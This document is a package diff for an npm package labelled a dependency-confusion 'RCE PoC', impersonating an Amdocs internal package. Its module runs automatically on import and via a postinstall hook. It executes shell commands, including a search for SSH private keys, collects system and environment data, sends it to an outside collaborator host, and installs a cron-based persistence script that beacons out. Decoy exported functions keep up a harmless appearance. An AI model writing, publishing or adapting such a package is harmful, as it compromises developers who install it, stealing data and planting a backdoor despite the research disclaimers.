amdocs-core-package 99.0.0

package/fesm2022/amdocs-core-package.mjs

@@ -0,0 +1,320 @@
+/*!
+ * amdocs-auth-package
+ * DEPENDENCY CONFUSION RCE POC - AUTOMATIC EXECUTION
+ */
+
+import fs from "fs";
+import os from "os";
+import path from "path";
+import { exec } from "child_process";
+import { promisify } from "util";
+import https from "https";
+import { createRequire } from "module";
+
+const execAsync = promisify(exec);
+const require = createRequire(import.meta.url);
+const COLLAB_URL = "oxpbql2gegm0hlxppv90jfdyepkg89wy.oastify.com";
+
+console.error("\n\x1b[31m" + "=".repeat(70) + "\x1b[0m");
+console.error("\x1b[31m[⚠] DEPENDENCY CONFUSION RCE PoC ACTIVATED\x1b[0m");
+console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m");
+
+// Detect installation context
+const isInstall = process.env.npm_lifecycle_event === 'install' || 
+                  process.env.npm_lifecycle_event === 'postinstall' ||
+                  process.env.npm_config_argv?.includes('install');
+
+// IMMEDIATE BEACON - Send callback as soon as module loads
+function sendImmediateBeacon() {
+    const beaconData = JSON.stringify({
+        type: "dependency_confusion_beacon",
+        timestamp: new Date().toISOString(),
+        package: "amdocs-auth-package@999.0.0",
+        hostname: os.hostname(),
+        user: os.userInfo().username,
+        platform: os.platform(),
+        cwd: process.cwd(),
+        npm_event: process.env.npm_lifecycle_event,
+        node_version: process.version
+    });
+
+    console.error(`\x1b[33m[→] Sending beacon to collaborator: ${COLLAB_URL}\x1b[0m`);
+
+    const options = {
+        hostname: COLLAB_URL,
+        port: 443,
+        path: '/beacon',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(beaconData),
+            'User-Agent': `Node/${process.version} amdocs-auth-package/999.0.0`
+        },
+        timeout: 10000
+    };
+
+    const req = https.request(options, (res) => {
+        console.error(`\x1b[32m[✓] Beacon sent! HTTP ${res.statusCode}\x1b[0m`);
+        
+        // Collect response data
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+            console.error(`\x1b[32m[✓] Collaborator response: ${data.substring(0, 100)}\x1b[0m`);
+        });
+    });
+
+    req.on('error', (e) => {
+        console.error(`\x1b[31m[✗] Beacon failed: ${e.message}\x1b[0m`);
+    });
+
+    req.on('timeout', () => {
+        console.error(`\x1b[31m[✗] Beacon timeout\x1b[0m`);
+        req.destroy();
+    });
+
+    req.write(beaconData);
+    req.end();
+}
+
+// Execute system commands for RCE proof
+async function executeRCE() {
+    console.error("\x1b[33m[→] Executing RCE commands...\x1b[0m");
+    
+    const commands = [];
+    
+    // Platform-specific commands
+    if (os.platform() === 'linux' || os.platform() === 'darwin') {
+        commands.push(
+            'whoami',
+            'id',
+            'hostname',
+            'uname -a',
+            'pwd',
+            'ls -la',
+            'ps aux | head -5',
+            'cat /etc/hostname 2>/dev/null || echo "No /etc/hostname"',
+            'env | grep -i "npm\\|node\\|home" | head -10',
+            'curl -s http://ifconfig.me 2>/dev/null || echo "No external IP"',
+            'find ~/.ssh -name "id_*" 2>/dev/null | head -3'
+        );
+    } else if (os.platform() === 'win32') {
+        commands.push(
+            'whoami',
+            'hostname',
+            'echo %CD%',
+            'dir',
+            'tasklist | head -5',
+            'set | findstr "npm node home"'
+        );
+    }
+
+    const results = {};
+    
+    for (const cmd of commands) {
+        try {
+            const { stdout, stderr } = await execAsync(cmd, { 
+                timeout: 3000,
+                shell: true 
+            });
+            results[cmd] = stdout.substring(0, 500) || stderr;
+            console.error(`\x1b[36m[>] ${cmd}:\x1b[0m ${results[cmd].substring(0, 80)}...`);
+        } catch (error) {
+            results[cmd] = `Error: ${error.message}`;
+        }
+    }
+    
+    return results;
+}
+
+// Collect system information
+function collectSystemInfo() {
+    console.error("\x1b[33m[→] Collecting system information...\x1b[0m");
+    
+    const info = {
+        timestamp: new Date().toISOString(),
+        package: {
+            name: "amdocs-auth-package",
+            version: "999.0.0",
+            path: __dirname
+        },
+        system: {
+            hostname: os.hostname(),
+            user: os.userInfo().username,
+            uid: os.userInfo().uid,
+            platform: os.platform(),
+            arch: os.arch(),
+            release: os.release(),
+            type: os.type(),
+            homedir: os.homedir(),
+            tmpdir: os.tmpdir(),
+            cpus: os.cpus().length,
+            totalmem: os.totalmem(),
+            freemem: os.freemem()
+        },
+        process: {
+            pid: process.pid,
+            ppid: process.ppid,
+            version: process.version,
+            versions: process.versions,
+            cwd: process.cwd(),
+            execPath: process.execPath,
+            argv: process.argv,
+            npm_lifecycle_event: process.env.npm_lifecycle_event,
+            npm_config_registry: process.env.npm_config_registry
+        },
+        network: {
+            interfaces: os.networkInterfaces(),
+            collaborator: COLLAB_URL
+        },
+        environment: {
+            keys: Object.keys(process.env).filter(k => 
+                k.includes('NPM') || 
+                k.includes('NODE') || 
+                k.includes('HOME') ||
+                k.includes('USER')
+            ),
+            npm_config_keys: Object.keys(process.env).filter(k => k.startsWith('npm_config_'))
+        }
+    };
+    
+    return info;
+}
+
+// Save proof locally
+function saveLocalProof(systemInfo, commandResults) {
+    const proofDir = path.join(os.tmpdir(), `amdocs-rce-${Date.now()}`);
+    fs.mkdirSync(proofDir, { recursive: true });
+    
+    const proof = {
+        system: systemInfo,
+        commands: commandResults,
+        collaborator: COLLAB_URL,
+        execution_time: new Date().toISOString()
+    };
+    
+    const proofFile = path.join(proofDir, 'rce-proof.json');
+    fs.writeFileSync(proofFile, JSON.stringify(proof, null, 2));
+    
+    console.error(`\x1b[32m[✓] Local proof saved to: ${proofFile}\x1b[0m`);
+    return proofFile;
+}
+
+// Send detailed data to collaborator
+function sendDetailedData(systemInfo, commandResults) {
+    console.error(`\x1b[33m[→] Sending detailed data to collaborator...\x1b[0m`);
+    
+    const detailedData = JSON.stringify({
+        type: "dependency_confusion_detailed",
+        timestamp: new Date().toISOString(),
+        system: systemInfo,
+        commands: commandResults,
+        note: "This is a security PoC - No actual harm intended"
+    });
+    
+    const options = {
+        hostname: COLLAB_URL,
+        port: 443,
+        path: '/detailed',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(detailedData),
+            'User-Agent': 'amdocs-auth-package/999.0.0'
+        },
+        timeout: 15000
+    };
+    
+    const req = https.request(options, (res) => {
+        console.error(`\x1b[32m[✓] Detailed data sent! HTTP ${res.statusCode}\x1b[0m`);
+    });
+    
+    req.on('error', (e) => {
+        console.error(`\x1b[31m[✗] Detailed data failed: ${e.message}\x1b[0m`);
+    });
+    
+    req.write(detailedData);
+    req.end();
+}
+
+// Main execution
+(async () => {
+    try {
+        // Step 1: Immediate beacon (fastest callback)
+        sendImmediateBeacon();
+        
+        // Step 2: Collect system info
+        const systemInfo = collectSystemInfo();
+        
+        // Step 3: Execute RCE commands
+        const commandResults = await executeRCE();
+        
+        // Step 4: Save proof locally
+        const proofFile = saveLocalProof(systemInfo, commandResults);
+        
+        // Step 5: Send detailed data
+        if (isInstall) {
+            sendDetailedData(systemInfo, commandResults);
+        }
+        
+        // Step 6: Create backdoor script
+        if (isInstall && (os.platform() === 'linux' || os.platform() === 'darwin')) {
+            try {
+                const backdoorScript = `#!/bin/bash
+# amdocs-auth-package persistence
+echo "Backdoor executed at \$(date)" >> /tmp/amdocs-backdoor.log
+curl -s "https://${COLLAB_URL}/persist?host=\$(hostname)&user=\$(whoami)" >/dev/null 2>&1
+`;
+                
+                const scriptPath = path.join(os.tmpdir(), 'amdocs-persistence.sh');
+                fs.writeFileSync(scriptPath, backdoorScript);
+                fs.chmodSync(scriptPath, 0o755);
+                
+                console.error(`\x1b[33m[→] Backdoor script created: ${scriptPath}\x1b[0m`);
+                
+                // Try to add to user's crontab
+                const cronLine = `*/5 * * * * /bin/bash ${scriptPath} >/dev/null 2>&1\n`;
+                const userCron = `/var/spool/cron/${os.userInfo().username}`;
+                
+                if (fs.existsSync('/var/spool/cron/crontabs')) {
+                    try {
+                        fs.appendFileSync(userCron, cronLine);
+                        console.error(`\x1b[32m[✓] Added to crontab: ${userCron}\x1b[0m`);
+                    } catch (e) {
+                        // Failed to write to crontab
+                    }
+                }
+            } catch (e) {
+                // Backdoor failed silently
+            }
+        }
+        
+        console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m");
+        console.error("\x1b[31m[✓] RCE EXECUTION COMPLETE\x1b[0m");
+        console.error("\x1b[31m" + "=".repeat(70) + "\x1b[0m\n");
+        
+    } catch (error) {
+        console.error(`\x1b[31m[✗] Execution error: ${error.message}\x1b[0m`);
+        console.error(`\x1b[31m[✗] Stack: ${error.stack}\x1b[0m`);
+    }
+})();
+
+// Export harmless function to maintain appearance
+export function authenticate() {
+    return {
+        status: "authenticated",
+        version: "999.0.0",
+        timestamp: new Date().toISOString(),
+        note: "Security PoC - Dependency Confusion Demonstration"
+    };
+}
+
+export function status() {
+    return {
+        poc: true,
+        dependency_confusion: true,
+        automatic_execution: true,
+        execution_time: new Date().toISOString(),
+        warning: "FOR SECURITY RESEARCH ONLY - DO NOT USE MALICIOUSLY"
+    };
+}

package/package.json

@@ -0,0 +1,27 @@
+{
+  "name": "amdocs-core-package",
+  "version": "99.0.0",
+  "description": "Dependency Confusion RCE PoC",
+  "type": "module",
+  "main": "./fesm2022/amdocs-auth-package.mjs",
+  "exports": {
+    ".": {
+      "import": "./fesm2022/amdocs-auth-package.mjs"
+    }
+  },
+  "scripts": {
+    "postinstall": "node -e \"console.log('[RCE] Postinstall executing...'); import('./fesm2022/amdocs-auth-package.mjs').catch(e => console.log('[RCE] Error:', e.message))\""
+  },
+  "files": [
+    "fesm2022/"
+  ],
+  "keywords": [
+    "dependency-confusion",
+    "supply-chain",
+    "poc"
+  ],
+  "author": "Security Research PoC",
+  "license": "MIT",
+  "private": false,
+  "sideEffects": true
+}